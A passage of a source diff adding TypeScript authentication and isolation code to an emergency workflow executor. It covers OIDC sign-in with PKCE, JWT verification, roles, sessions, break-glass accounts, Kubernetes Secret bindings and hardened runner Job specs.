(the caller may refresh the JWKS once and retry). */ +export function selectKey(jwks: Jwk[], header: { alg: string; kid?: string }): Jwk | undefined { + const spec = SUPPORTED[header.alg]!; + const candidates = jwks.filter((k) => k.kty === spec.kty && (k.use === undefined || k.use === "sig") && (k.alg === undefined || k.alg === header.alg)); + if (header.kid !== undefined) return candidates.find((k) => k.kid === header.kid); + return candidates.length === 1 ? candidates[0] : undefined; +} + +export function tokenHeader(token: string, algorithms: string[]): { alg: string; kid?: string } { + const parts = token.split("."); + if (parts.length !== 3) throw new TokenError("The ID token is not a signed JWT"); + if (!parts.every((p) => b64url.test(p))) throw new TokenError("The ID token is not base64url"); + const h = decodeJson(parts[0]!, "header"); + if (typeof h.alg !== "string" || !algorithms.includes(h.alg) || !SUPPORTED[h.alg]) throw new TokenError(`The ID token's algorithm ${JSON.stringify(h.alg)} is not allowed`); + if (h.crit !== undefined) throw new TokenError("The ID token has critical header parameters this verifier does not support"); + if (h.kid !== undefined && typeof h.kid !== "string") throw new TokenError("The ID token's kid is not a string"); + return { alg: h.alg, kid: h.kid as string | undefined }; +} + +export type VerifyOptions = { issuer: string; clientId: string; nonce: string; now: Date; algorithms?: string[]; clockSkewSeconds?: number; maxAgeSeconds?: number }; + +export function verifyIdToken(token: string, key: Jwk, o: VerifyOptions): IdTokenClaims { + const algorithms = o.algorithms ?? DEFAULT_ALGORITHMS; + const header = tokenHeader(token, algorithms); + const spec = SUPPORTED[header.alg]!; + if (key.kty !== spec.kty || (key.alg !== undefined && key.alg !== header.alg) || (key.use !== undefined && key.use !== "sig")) throw new TokenError("The signing key does not match the token's algorithm"); + let publicKey: KeyObject; + try { + publicKey = createPublicKey({ key, format: "jwk" } as JsonWebKeyInput); + } catch { + throw new TokenError("The issuer's signing key is not a valid public key"); + } + if (publicKey.type !== "public") throw new TokenError("The issuer's signing key is not a public key"); + const [h, p, s] = token.split(".") as [string, string, string]; + if (!b64url.test(s)) throw new TokenError("The ID token's signature is not base64url"); + const ok = verify(spec.hash, Buffer.from(`${h}.${p}`), { key: publicKey, ...(spec.pss ? { padding: constants.RSA_PKCS1_PSS_PADDING, saltLength: constants.RSA_PSS_SALTLEN_DIGEST } : {}), ...(spec.ec ? { dsaEncoding: "ieee-p1363" } : {}) }, Buffer.from(s, "base64url")); + if (!ok) throw new TokenError("The ID token's signature is not valid"); + + const c = decodeJson(p, "payload"); + const skew = o.clockSkewSeconds ?? 60; + const now = Math.floor(o.now.getTime() / 1000); + if (c.iss !== o.issuer) throw new TokenError(`The ID token was issued by ${JSON.stringify(c.iss)}, not ${o.issuer}`); + const aud = typeof c.aud === "string" ? [c.aud] : Array.isArray(c.aud) && c.aud.every((a) => typeof a === "string") ? (c.aud as string[]) : []; + if (!aud.includes(o.clientId)) throw new TokenError("The ID token is not for this application (audience)"); + if ((aud.length > 1 || c.azp !== undefined) && c.azp !== o.clientId) throw new TokenError("The ID token's authorized party is not this application"); + if (typeof c.sub !== "string" || !c.sub || c.sub.length > 255) throw new TokenError("The ID token has no valid subject"); + if (typeof c.exp !== "number" || c.exp + skew <= now) throw new TokenError("The ID token has expired"); + if (typeof c.iat !== "number" || c.iat - skew > now) throw new TokenError("The ID token was issued in the future"); + if (o.maxAgeSeconds !== undefined && now - c.iat > o.maxAgeSeconds + skew) throw new TokenError("The ID token is too old"); + if (c.nbf !== undefined && (typeof c.nbf !== "number" || c.nbf - skew > now)) throw new TokenError("The ID token is not valid yet"); + if (c.nonce !== o.nonce) throw new TokenError("The ID token's nonce does not match this sign-in"); + return c as IdTokenClaims; +} diff --git a/deploy/emergency/executor/auth/oidc.ts b/deploy/emergency/executor/auth/oidc.ts new file mode 100644 index 0000000..593778d --- /dev/null +++ b/deploy/emergency/executor/auth/oidc.ts @@ -0,0 +1,144 @@ +// Sign-in through an OpenID Connect provider (security review H2): the authorization code flow with PKCE (S256), state +// and nonce, run by the executor itself. The browser only follows redirects; it never sees the ID token, the client +// secret or the provider's keys. Discovery and the JWKS come from the configured issuer, over HTTPS (plain HTTP only +// when explicitly allowed, for a local development provider). The executor never contacts GitHub; the provider must not +// depend on GitHub either, or sign-in fails during the outage this exists for. +// +// IdentityProvider is the abstraction the rest of the executor uses; OIDC is its only implementation. +import { createHash, randomBytes } from "node:crypto"; +import { DEFAULT_ALGORITHMS, selectKey, tokenHeader, TokenError, verifyIdToken, type IdTokenClaims, type Jwk } from "./jwt.ts"; + +export type VerifiedIdentity = { issuer: string; subject: string; name: string; email?: string }; +/** What the executor keeps between sending the browser to the provider and its return (never sent to the browser). */ +export type PendingLogin = { state: string; nonce: string; verifier: string }; + +export interface IdentityProvider { + readonly kind: string; + readonly label: string; + begin(): Promise<{ url: string; pending: PendingLogin }>; + complete(params: URLSearchParams, pending: PendingLogin): Promise; +} + +export type OidcConfig = { + issuer: string; + clientId: string; + /** Read when needed (a mounted Secret); absent for a public client (PKCE only). */ + clientSecret?: () => string; + /** Exactly as registered with the provider; never derived from the request's Host header. */ + redirectUri: string; + scopes?: string[]; + algorithms?: string[]; + label?: string; + /** Plain HTTP for the issuer and its endpoints: local development providers only. */ + allowInsecureHttp?: boolean; + /** Refuse ID tokens older than this (seconds since iat). */ + maxTokenAgeSeconds?: number; +}; + +type Discovery = { issuer: string; authorization_endpoint: string; token_endpoint: string; jwks_uri: string }; +type Fetch = (url: string, init?: RequestInit) => Promise; + +const b64url = (b: Buffer) => b.toString("base64url"); + +export class LoginError extends Error {} + +export function createOidcProvider(config: OidcConfig, deps: { fetch?: Fetch; now?: () => Date } = {}): IdentityProvider { + const doFetch: Fetch = deps.fetch ?? ((url, init) => fetch(url, { ...init, signal: AbortSignal.timeout(10_000), redirect: "error" })); + const now = deps.now ?? (() => new Date()); + const algorithms = config.algorithms ?? DEFAULT_ALGORITHMS; + let discovery: Discovery | undefined; + let jwks: { keys: Jwk[]; fetchedAt: number } | undefined; + + const checkUrl = (value: unknown, what: string): string => { + let u: URL; + try { + u = new URL(String(value)); + } catch { + throw new LoginError(`The identity provider's ${what} is not a URL`); + } + if (u.protocol !== "https:" && !(config.allowInsecureHttp && u.protocol === "http:")) throw new LoginError(`The identity provider's ${what} is not HTTPS`); + return u.toString(); + }; + checkUrl(config.issuer, "issuer"); + + async function getJson(url: string, init?: RequestInit): Promise> { + let r: Response; + try { + r = await doFetch(url, init); + } catch (error) { + const cause = (error as Error & { cause?: Error }).cause; + throw new LoginError(`The identity provider could not be reached (${(error as Error).message}${cause ? `: ${cause.message}` : ""})`); + } + const text = await r.text(); + if (!r.ok) throw new LoginError(`The identity provider answered ${r.status} for ${new URL(url).pathname}`); + try { + return JSON.parse(text) as Record; + } catch { + throw new LoginError(`The identity provider's response from ${new URL(url).pathname} is not JSON`); + } + } + + async function discover(): Promise { + if (discovery) return discovery; + const d = await getJson(`${config.issuer.replace(/\/$/, "")}/.well-known/openid-configuration`); + // OpenID Connect Discovery §4.3: the document must name exactly the configured issuer. + if (d.issuer !== config.issuer) throw new LoginError(`The identity provider's discovery document names issuer ${JSON.stringify(d.issuer)}, not ${config.issuer}`); + discovery = { issuer: config.issuer, authorization_endpoint: checkUrl(d.authorization_endpoint, "authorization endpoint"), token_endpoint: checkUrl(d.token_endpoint, "token endpoint"), jwks_uri: checkUrl(d.jwks_uri, "JWKS URI") }; + return discovery; + } + + async function keys(refresh: boolean): Promise { + // An unknown key ID refreshes the cache, at most once a minute (key rotation without hammering the provider). + if (jwks && (!refresh || now().getTime() - jwks.fetchedAt < 60_000)) return jwks.keys; + const d = await discover(); + const set = await getJson(d.jwks_uri); + if (!Array.isArray(set.keys)) throw new LoginError("The identity provider's JWKS has no keys"); + jwks = { keys: set.keys as Jwk[], fetchedAt: now().getTime() }; + return jwks.keys; + } + + return { + kind: "oidc", + label: config.label ?? "your organization's identity provider", + async begin() { + const d = await discover(); + const pending: PendingLogin = { state: b64url(randomBytes(32)), nonce: b64url(randomBytes(32)), verifier: b64url(randomBytes(48)) }; + const url = new URL(d.authorization_endpoint); + url.searchParams.set("response_type", "code"); + url.searchParams.set("client_id", config.clientId); + url.searchParams.set("redirect_uri", config.redirectUri); + url.searchParams.set("scope", (config.scopes ?? ["openid", "profile", "email"]).join(" ")); + url.searchParams.set("state", pending.state); + url.searchParams.set("nonce", pending.nonce); + url.searchParams.set("code_challenge", b64url(createHash("sha256").update(pending.verifier).digest())); + url.searchParams.set("code_challenge_method", "S256"); + return { url: url.toString(), pending }; + }, + async complete(params, pending) { + if (params.get("state") !== pending.state) throw new LoginError("The sign-in response does not belong to this sign-in (state)"); + const error = params.get("error"); + if (error) throw new LoginError(`The identity provider refused the sign-in: ${error}${params.get("error_description") ? ` (${params.get("error_description")})` : ""}`); + const code = params.get("code"); + if (!code) throw new LoginError("The identity provider returned no authorization code"); + const d = await discover(); + const form = new URLSearchParams({ grant_type: "authorization_code", code, redirect_uri: config.redirectUri, code_verifier: pending.verifier, client_id: config.clientId }); + const headers: Record = { "Content-Type": "application/x-www-form-urlencoded", Accept: "application/json" }; + const secret = config.clientSecret?.(); + if (secret) headers.Authorization = `Basic ${Buffer.from(`${encodeURIComponent(config.clientId)}:${encodeURIComponent(secret)}`).toString("base64")}`; + const tokens = await getJson(d.token_endpoint, { method: "POST", headers, body: form.toString() }); + if (typeof tokens.id_token !== "string") throw new LoginError("The identity provider returned no ID token"); + let claims: IdTokenClaims; + try { + const header = tokenHeader(tokens.id_token, algorithms); + const key = selectKey(await keys(false), header) ?? selectKey(await keys(true), header); + if (!key) throw new TokenError("The ID token is signed with a key the identity provider does not publish"); + claims = verifyIdToken(tokens.id_token, key, { issuer: config.issuer, clientId: config.clientId, nonce: pending.nonce, now: now(), algorithms, maxAgeSeconds: config.maxTokenAgeSeconds ?? 600 }); + } catch (e) { + if (e instanceof TokenError) throw new LoginError(e.message); + throw e; + } + const name = [claims.name, claims.preferred_username, claims.email].find((v) => typeof v === "string" && v.trim()) ?? claims.sub; + return { issuer: claims.iss, subject: claims.sub, name: String(name).slice(0, 200), email: typeof claims.email === "string" ? claims.email.slice(0, 254) : undefined }; + }, + }; +} diff --git a/deploy/emergency/executor/auth/roles.ts b/deploy/emergency/executor/auth/roles.ts new file mode 100644 index 0000000..d2965ff --- /dev/null +++ b/deploy/emergency/executor/auth/roles.ts @@ -0,0 +1,44 @@ +// Roles and permissions (security review H2). Roles are additive; each grants exactly the permissions listed here, and +// every API operation names the permission it needs (api.ts). Roles come only from the executor's records and its +// configuration (auth/store.ts), never from the identity provider's token or the browser. +export const ROLES = ["viewer", "operator", "approver", "administrator"] as const; +export type Role = (typeof ROLES)[number]; + +export const PERMISSIONS = [ + "snapshots.read", + "executions.read", + "checks.read", + "snapshots.create", + "snapshots.verify", + "snapshots.delete-own", + "snapshots.delete-any", + "executions.create", + "executions.cancel-own", + "executions.cancel-any", + "executions.approve", + "checks.run", + "admin.users", + "admin.sessions", + "admin.bindings", + "admin.audit", +] as const; +export type Permission = (typeof PERMISSIONS)[number]; + +const VIEW: Permission[] = ["snapshots.read", "executions.read", "checks.read"]; + +export const ROLE_PERMISSIONS: Record = { + /** Sees shared snapshots and executions, their status and logs, and the cluster checks. */ + viewer: VIEW, + /** Prepares snapshots and starts executions; stops and deletes its own. */ + operator: [...VIEW, "snapshots.create", "snapshots.verify", "snapshots.delete-own", "executions.create", "executions.cancel-own", "checks.run"], + /** Approves or rejects executions that need it (never their own, under separation of duties); sees restricted ones. */ + approver: [...VIEW, "executions.approve"], + /** Manages other users' roles and sessions, suspends Secret bindings, reads the audit log; stops anything. */ + administrator: [...VIEW, "admin.users", "admin.sessions", "admin.bindings", "admin.audit", "snapshots.delete-any", "executions.cancel-any"], +}; + +export const isRole = (r: unknown): r is Role => typeof r === "string" && (ROLES as readonly string[]).includes(r); + +export function permissionsOf(roles: readonly Role[]): Set { + return new Set(roles.flatMap((r) => ROLE_PERMISSIONS[r])); +} diff --git a/deploy/emergency/executor/auth/store.ts b/deploy/emergency/executor/auth/store.ts new file mode 100644 index 0000000..cb4be40 --- /dev/null +++ b/deploy/emergency/executor/auth/store.ts @@ -0,0 +1,199 @@ +// Users, roles and sessions (security review H2), on the executor's volume under /auth/ (runner pods mount only +// a snapshot's directory, never this): +// +// users.json every identity that has signed in: (issuer, subject) or a break-glass account, its +// roles as assigned by administrators, disabled or not +// sessions/.json one per session, named by the hash of its token (the token itself is never stored) +// +// Roles are the union of the stored assignment and the configuration's pinned roles (initial administrators, +// break-glass accounts), which the API can't change. A disabled user has no roles and no sessions. Sessions expire +// (absolute and idle limits) and can be revoked; they are checked on every request, so a role change or revocation +// takes effect at once. Pending sign-ins are kept in memory for ten minutes and used once. +import { createHash, randomBytes, timingSafeEqual } from "node:crypto"; +import { existsSync, mkdirSync, readdirSync, readFileSync, renameSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import type { PendingLogin, VerifiedIdentity } from "./oidc.ts"; +import { isRole, type Role } from "./roles.ts"; + +export type UserRecord = { + id: string; + kind: "oidc" | "break-glass"; + issuer?: string; + subject?: string; + account?: string; + name: string; + email?: string; + /** Assigned by administrators through the API. */ + roles: Role[]; + disabled?: boolean; + firstSeen: string; + lastSeen: string; + changedBy?: string; + changedAt?: string; +}; +export type SessionRecord = { userId: string; method: "oidc" | "break-glass"; createdAt: string; expiresAt: string; lastUsed: string; reason?: string }; +export type Principal = { user: UserRecord; roles: Role[]; session: SessionRecord; sessionHash: string }; + +export type AuthStoreConfig = { + sessionMaxHours: number; + sessionIdleMinutes: number; + breakGlassSessionMinutes: number; + /** Pinned administrators, by issuer and subject (the first administrators of a new installation). */ + initialAdministrators: { issuer: string; subject: string }[]; + /** Break-glass accounts: each has its own credential (a key of a Kubernetes Secret) and pinned roles. */ + breakGlassAccounts: { name: string; roles: Role[] }[]; + /** Reads an account's credential (the mounted Secret's file); undefined when it has none. */ + breakGlassCredential: (account: string) => string | undefined; +}; + +const sha = (s: string) => createHash("sha256").update(s).digest("hex"); +export const oidcUserId = (issuer: string, subject: string) => `u-${sha(`${issuer}\n${subject}`).slice(0, 24)}`; +export const breakGlassUserId = (account: string) => `bg-${account}`; +export const USER_ID = /^(u-[0-9a-f]{24}|bg-[a-z0-9][a-z0-9-]{0,62})$/; +const BREAK_GLASS_LOCKOUT = { failures: 5, windowMs: 15 * 60_000 }; + +export function createAuthStore(dataDir: string, config: AuthStoreConfig, now: () => Date = () => new Date()) { + const dir = join(dataDir, "auth"); + const sessionsDir = join(dir, "sessions"); + mkdirSync(sessionsDir, { recursive: true, mode: 0o700 }); + const usersFile = join(dir, "users.json"); + const pendingLogins = new Map(); + const failures = new Map(); + + const write = (file: string, value: unknown) => { + const tmp = `${file}.${randomBytes(6).toString("hex")}.tmp`; + writeFileSync(tmp, JSON.stringify(value), { mode: 0o600 }); + renameSync(tmp, file); + }; + const readUsers = (): Record => (existsSync(usersFile) ? (JSON.parse(readFileSync(usersFile, "utf8")) as Record) : {}); + const saveUser = (u: UserRecord) => write(usersFile, { ...readUsers(), [u.id]: u }); + + function pinnedRoles(u: UserRecord): Role[] { + if (u.kind === "break-glass") return config.breakGlassAccounts.find((a) => a.name === u.account)?.roles ?? []; + return config.initialAdministrators.some((a) => a.issuer === u.issuer && a.subject === u.subject) ? ["administrator"] : []; + } + const rolesOf = (u: UserRecord): Role[] => (u.disabled ? [] : [...new Set([...pinnedRoles(u), ...u.roles.filter(isRole)])]); + + function sessionFiles(): { hash: string; record: SessionRecord }[] { + return readdirSync(sessionsDir) + .filter((f) => /^[0-9a-f]{64}\.json$/.test(f)) + .map((f) => ({ hash: f.slice(0, 64), record: JSON.parse(readFileSync(join(sessionsDir, f), "utf8")) as SessionRecord })); + } + const removeSession = (hash: string) => rmSync(join(sessionsDir, `${hash}.json`), { force: true }); + + return { + pinnedRoles, + rolesOf, + user: (id: string): UserRecord | undefined => (USER_ID.test(id) ? readUsers()[id] : undefined), + users: (): UserRecord[] => Object.values(readUsers()).sort((a, b) => a.name.localeCompare(b.name)), + + /** Records a verified identity's sign-in. Nothing from the token but its identity and display name is kept. */ + signedIn(identity: VerifiedIdentity): UserRecord { + const id = oidcUserId(identity.issuer, identity.subject); + const at = now().toISOString(); + const existing = readUsers()[id]; + const u: UserRecord = existing ? { ...existing, name: identity.name, email: identity.email, lastSeen: at } : { id, kind: "oidc", issuer: identity.issuer, subject: identity.subject, name: identity.name, email: identity.email, roles: [], firstSeen: at, lastSeen: at }; + saveUser(u); + return u; + }, + + /** Checks a break-glass credential; repeated failures lock the account out for a while. */ + breakGlass(account: string, credential: string): { user?: UserRecord; problem?: string } { + const cfg = config.breakGlassAccounts.find((a) => a.name === account); + const t = now().getTime(); + const recent = (failures.get(account) ?? []).filter((x) => t - x < BREAK_GLASS_LOCKOUT.windowMs); + if (recent.length >= BREAK_GLASS_LOCKOUT.failures) return { problem: "Too many failed attempts for this break-glass account; try again later" }; + const expected = cfg ? config.breakGlassCredential(account) : undefined; + const a = Buffer.from(sha(credential), "hex"); + const ok = expected !== undefined && expected.length >= 32 && timingSafeEqual(a, Buffer.from(sha(expected), "hex")); + if (!ok) { + failures.set(account, [...recent, t]); + return { problem: "Unknown break-glass account or wrong credential" }; + } + failures.delete(account); + const id = breakGlassUserId(account); + const at = now().toISOString(); + const existing = readUsers()[id]; + const u: UserRecord = existing ? { ...existing, lastSeen: at } : { id, kind: "break-glass", account, name: `break-glass: ${account}`, roles: [], firstSeen: at, lastSeen: at }; + saveUser(u); + return { user: u }; + }, + + setRoles(id: string, roles: Role[], by: string): UserRecord | undefined { + const u = readUsers()[id]; + if (!u) return undefined; + const updated = { ...u, roles: [...new Set(roles)], changedBy: by, changedAt: now().toISOString() }; + saveUser(updated); + return updated; + }, + setDisabled(id: string, disabled: boolean, by: string): UserRecord | undefined { + const u = readUsers()[id]; + if (!u) return undefined; + const updated = { ...u, disabled, changedBy: by, changedAt: now().toISOString() }; + saveUser(updated); + if (disabled) this.revokeUser(id); + return updated; + }, + + /** A new session; the token goes to the browser in an HttpOnly cookie and only its hash is kept. */ + createSession(user: UserRecord, method: SessionRecord["method"], reason?: string): { token: string; record: SessionRecord } { + const token = randomBytes(32).toString("base64url"); + const t = now(); + const minutes = method === "break-glass" ? config.breakGlassSessionMinutes : config.sessionMaxHours * 60; + const record: SessionRecord = { userId: user.id, method, createdAt: t.toISOString(), expiresAt: new Date(t.getTime() + minutes * 60_000).toISOString(), lastUsed: t.toISOString(), ...(reason ? { reason } : {}) }; + write(join(sessionsDir, `${sha(token)}.json`), record); + return { token, record }; + }, + + /** The principal behind a session token, or undefined when it is unknown, expired, idle too long or revoked. */ + principal(token: string | undefined): Principal | undefined { + if (!token || !/^[A-Za-z0-9_-]{43}$/.test(token)) return undefined; + const hash = sha(token); + const f = join(sessionsDir, `${hash}.json`); + if (!existsSync(f)) return undefined; + const record = JSON.parse(readFileSync(f, "utf8")) as SessionRecord; + const t = now().getTime(); + const user = readUsers()[record.userId]; + if (!user || user.disabled || Date.parse(record.expiresAt) <= t || t - Date.parse(record.lastUsed) > config.sessionIdleMinutes * 60_000) { + removeSession(hash); + return undefined; + } + // Idle tracking, written at most once a minute. + if (t - Date.parse(record.lastUsed) > 60_000) write(f, { ...record, lastUsed: new Date(t).toISOString() }); + return { user, roles: rolesOf(user), session: record, sessionHash: hash }; + }, + revokeSession: (hash: string) => removeSession(hash), + /** Ends every session of a user; returns how many there were. */ + revokeUser(id: string): number { + const mine = sessionFiles().filter((s) => s.record.userId === id); + for (const s of mine) removeSession(s.hash); + return mine.length; + }, + sessionsOf: (id: string) => sessionFiles().filter((s) => s.record.userId === id).map((s) => s.record), + purgeExpiredSessions(): number { + const t = now().getTime(); + const old = sessionFiles().filter((s) => Date.parse(s.record.expiresAt) <= t || t - Date.parse(s.record.lastUsed) > config.sessionIdleMinutes * 60_000); + for (const s of old) removeSession(s.hash); + return old.length; + }, + + /** Keeps a pending sign-in; the returned value goes to the browser as a short-lived cookie that binds it. */ + savePending(pending: PendingLogin, returnTo: string): string { + const t = now().getTime(); + for (const [k, v] of pendingLogins) if (t - v.at > 600_000) pendingLogins.delete(k); + if (pendingLogins.size > 1000) pendingLogins.delete(pendingLogins.keys().next().value!); + const binding = randomBytes(32).toString("base64url"); + pendingLogins.set(sha(binding), { pending, returnTo, at: t }); + return binding; + }, + takePending(binding: string | undefined): { pending: PendingLogin; returnTo: string } | undefined { + if (!binding) return undefined; + const key = sha(binding); + const p = pendingLogins.get(key); + pendingLogins.delete(key); + return p && now().getTime() - p.at <= 600_000 ? { pending: p.pending, returnTo: p.returnTo } : undefined; + }, + }; +} + +export type AuthStore = ReturnType; diff --git a/deploy/emergency/executor/bindings.ts b/deploy/emergency/executor/bindings.ts new file mode 100644 index 0000000..febffac --- /dev/null +++ b/deploy/emergency/executor/bindings.ts @@ -0,0 +1,78 @@ +// Secret bindings (security review C1): which Kubernetes Secret, and which of its keys, an execution of a given +// snapshot may receive. Bindings are written by a cluster administrator in the chart's values (rendered into a +// ConfigMap the executor reads), not chosen by whoever starts an execution. +// +// - A binding names exact snapshot digests. Names and claimed source repositories are client-asserted (review H1), +// so they can't authorize anything; a digest pins the reviewed content. +// - An execution mounts only the keys its snapshot requires, and only from its binding's Secret. +// - The operator-token Secret can never be bound. +// The file is read for every execution, so ConfigMap updates apply without a restart. Problems fail closed. +import { existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; + +export type SecretBinding = { name: string; secret: string; keys: string[]; snapshots: string[] }; + +const K8S_NAME = /^[a-z0-9]([-a-z0-9]*[a-z0-9])?$/; +const SECRET_KEY = /^[A-Za-z_][A-Za-z0-9_]*$/; +const DIGEST = /^[0-9a-f]{64}$/; + +export function parseBindings(text: string, operatorSecret: string): { bindings: SecretBinding[]; problems: string[] } { + const problems: string[] = []; + let raw: unknown; + try { + raw = JSON.parse(text); + } catch { + return { bindings: [], problems: ["Secret bindings are not valid JSON"] }; + } + if (!Array.isArray(raw)) return { bindings: [], problems: ["Secret bindings must be a list"] }; + const bindings: SecretBinding[] = []; + raw.forEach((b: unknown, i) => { + const r = (b ?? {}) as Record; + const where = `binding ${i + 1}${typeof r.name === "string" ? ` (${r.name})` : ""}`; + const before = problems.length; + if (typeof r.name !== "string" || !r.name.trim()) problems.push(`${where}: name is required`); + if (typeof r.secret !== "string" || !K8S_NAME.test(r.secret) || r.secret.length > 253) problems.push(`${where}: secret must be a Kubernetes object name`); + else if (r.secret === operatorSecret) problems.push(`${where}: the operator-token Secret can never be bound`); + if (!Array.isArray(r.keys) || r.keys.length === 0 || !r.keys.every((k) => typeof k === "string" && SECRET_KEY.test(k))) problems.push(`${where}: keys must be a non-empty list of secret names`); + else if (new Set(r.keys).size !== r.keys.length) problems.push(`${where}: keys must be unique`); + if (!Array.isArray(r.snapshots) || r.snapshots.length === 0 || !r.snapshots.every((d) => typeof d === "string" && DIGEST.test(d))) problems.push(`${where}: snapshots must be a non-empty list of snapshot digests (64 hex characters)`); + if (problems.length === before) bindings.push({ name: String(r.name), secret: String(r.secret), keys: r.keys as string[], snapshots: r.snapshots as string[] }); + }); + return { bindings, problems }; +} + +/** Reads the bindings file. A missing file means no bindings; an invalid file binds nothing (fail closed). */ +export function loadBindingsFile(path: string, operatorSecret: string): { bindings: SecretBinding[]; problems: string[] } { + if (!existsSync(path)) return { bindings: [], problems: [] }; + return parseBindings(readFileSync(path, "utf8"), operatorSecret); +} + +/** The single binding for a snapshot digest; more than one is ambiguous and refused. */ +export function bindingFor(bindings: SecretBinding[], snapshotId: string): { binding?: SecretBinding; problem?: string } { + const matches = bindings.filter((b) => b.snapshots.includes(snapshotId)); + if (matches.length > 1) return { problem: `More than one Secret binding names this snapshot (${matches.map((b) => b.name).join(", ")})` }; + return { binding: matches[0] }; +} + +// ---- suspension (security review H2) ------------------------------------------------------------------------------- +// Bindings themselves are cluster configuration (the chart's values, which the admission policy also renders, H4), so +// the API can't create or widen one. An administrator can suspend a binding (and resume it): a suspended binding gives +// no execution its Secret, and approvals that relied on it are invalidated. Kept in /auth/bindings.json. +export type BindingSuspension = { suspended: boolean; by: { id: string; name: string }; at: string; reason: string }; + +export function createBindingState(dataDir: string) { + const file = join(dataDir, "auth", "bindings.json"); + mkdirSync(dirname(file), { recursive: true, mode: 0o700 }); + const read = (): Record => (existsSync(file) ? (JSON.parse(readFileSync(file, "utf8")) as Record) : {}); + return { + all: read, + suspended: (name: string) => read()[name]?.suspended === true, + set(name: string, s: BindingSuspension) { + const tmp = `${file}.tmp`; + writeFileSync(tmp, JSON.stringify({ ...read(), [name]: s }), { mode: 0o600 }); + renameSync(tmp, file); + }, + }; +} + +export type BindingState = ReturnType; diff --git a/deploy/emergency/executor/job-spec.ts b/deploy/emergency/executor/job-spec.ts new file mode 100644 index 0000000..949f0f1 --- /dev/null +++ b/deploy/emergency/executor/job-spec.ts @@ -0,0 +1,216 @@ +// The Kubernetes Jobs the executor creates: one per emergency execution, and the network canary +// (network-check.ts). Pure, so their security properties are unit-tested (tests/unit/emergency-*.test.ts). +// +// Every runner pod gets: +// - no Kubernetes API access: its own service account with no role bindings, and no token mounted; +// - non-root, read-only root filesystem, no capabilities, no privilege escalation, RuntimeDefault seccomp; +// - CPU, memory and scratch-space limits, an active deadline and no retries. +// An execution pod also gets: +// - the snapshot read-only (the executor's volume, subPath of the snapshot's digest directory); +// - only the Secret keys its snapshot requires, from the Secret its binding names (bindings.ts), as files. +// +// Network (security review C2). The boundary is NetworkPolicy, enforced by the cluster's network plugin and proved +// by the canary before isolated executions run. Pods are labelled with their network mode: +// - "isolated": the chart's baseline policy denies all ingress and egress; +// - "egress" (opt-in, NOT isolated): egress to public addresses, never to private, link-local or metadata ranges. +// GitHub's hostnames resolving to 127.0.0.1, and no DNS in isolated mode, remain as defence in depth only. +export const RUNNER_CONTAINER = "runner"; +export const GITHUB_HOSTS = [ + "github.com", + "api.github.com", + "codeload.github.com", + "uploads.github.com", + "objects.githubusercontent.com", + "raw.githubusercontent.com", + "pipelines.actions.githubusercontent.com", + "results-receiver.actions.githubusercontent.com", + "token.actions.githubusercontent.com", + "ghcr.io", + "pkg-containers.githubusercontent.com", +]; + +export type NetworkMode = "isolated" | "egress"; +/** The runner's execute-only node binary (deploy/emergency/Dockerfile). */ +export const RUNNER_NODE = "/usr/local/libexec/gha-emergency-runner-node"; +export const NETWORK_LABEL = "gha-emergency.github-actions-ui/network"; +export const ROLE_LABEL = "gha-emergency.github-actions-ui/role"; +export const EXECUTION_LABEL = "gha-emergency.github-actions-ui/execution"; +/** Labels the chart's NetworkPolicies select (charts/gha-emergency/templates/networkpolicy.yaml). */ +export const RUNNER_POD_LABELS = { "app.kubernetes.io/name": "gha-emergency-runner", "app.kubernetes.io/managed-by": "gha-emergency-executor" }; + +type PodBase = { + namespace: string; + runnerImage: string; + serviceAccountName: string; + /** Labels of the executor pod: runner pods are scheduled next to it, so a ReadWriteOnce volume can be shared. */ + executorPodLabels: Record; +}; + +export type JobSpecInput = PodBase & { + executionId: string; + snapshotId: string; + snapshotName: string; + snapshotVersion: number; + workflow: string; + inputs: Record; + variables: Record; + /** From the snapshot's binding, never from the request. */ + secret?: { name: string; keys: string[] }; + network: NetworkMode; + pvcName: string; + snapshotSubPath: string; + resources: { cpu: string; memory: string; scratch: string }; + maxMinutes: number; + ttlSecondsAfterFinished: number; +}; + +export const jobName = (executionId: string) => `gha-emergency-${executionId}`; + +const POD_SECURITY = { runAsNonRoot: true, runAsUser: 1000, runAsGroup: 1000, fsGroup: 1000, seccompProfile: { type: "RuntimeDefault" } }; +const CONTAINER_SECURITY = { allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsNonRoot: true, capabilities: { drop: ["ALL"] } }; + +function networkSpec(network: NetworkMode) { + return { + hostAliases: [{ ip: "127.0.0.1", hostnames: GITHUB_HOSTS }], + ...(network === "isolated" ? { dnsPolicy: "None", dnsConfig: { nameservers: ["127.0.0.1"], searches: [], options: [{ name: "ndots", value: "1" }] } } : {}), + }; +} + +function affinity(executorPodLabels: Record) { + return { podAffinity: { requiredDuringSchedulingIgnoredDuringExecution: [{ labelSelector: { matchLabels: executorPodLabels }, topologyKey: "kubernetes.io/hostname" }] } }; +} + +export function buildJob(i: JobSpecInput) { + const labels = { + ...RUNNER_POD_LABELS, + [NETWORK_LABEL]: i.network, + [ROLE_LABEL]: "execution", + [EXECUTION_LABEL]: i.executionId, + "gha-emergency.github-actions-ui/snapshot": i.snapshotId.slice(0, 63), + }; + const execution = { id: i.executionId, workflow: i.workflow, digest: i.snapshotId, inputs: i.inputs, variables: i.variables }; + const volumes: object[] = [ + { name: "snapshot", persistentVolumeClaim: { claimName: i.pvcName, readOnly: true } }, + { name: "work", emptyDir: { sizeLimit: i.resources.scratch } }, + { name: "tmp", emptyDir: { sizeLimit: "256Mi" } }, + ]; + const mounts: object[] = [ + { name: "snapshot", mountPath: "/snapshot", subPath: i.snapshotSubPath, readOnly: true }, + { name: "work", mountPath: "/work" }, + { name: "tmp", mountPath: "/tmp" }, + ]; + if (i.secret) { + // Only the listed keys are projected; every other key of the Secret stays out of the pod. + volumes.push({ name: "secrets", secret: { secretName: i.secret.name, defaultMode: 0o440, optional: false, items: i.secret.keys.map((key) => ({ key, path: key })) } }); + mounts.push({ name: "secrets", mountPath: "/secrets", readOnly: true }); + } + return { + apiVersion: "batch/v1", + kind: "Job", + metadata: { + name: jobName(i.executionId), + namespace: i.namespace, + labels, + annotations: { + "gha-emergency.github-actions-ui/workflow": i.workflow, + "gha-emergency.github-actions-ui/snapshot-name": `${i.snapshotName} v${i.snapshotVersion}`, + }, + }, + spec: { + backoffLimit: 0, + activeDeadlineSeconds: i.maxMinutes * 60 + 120, + 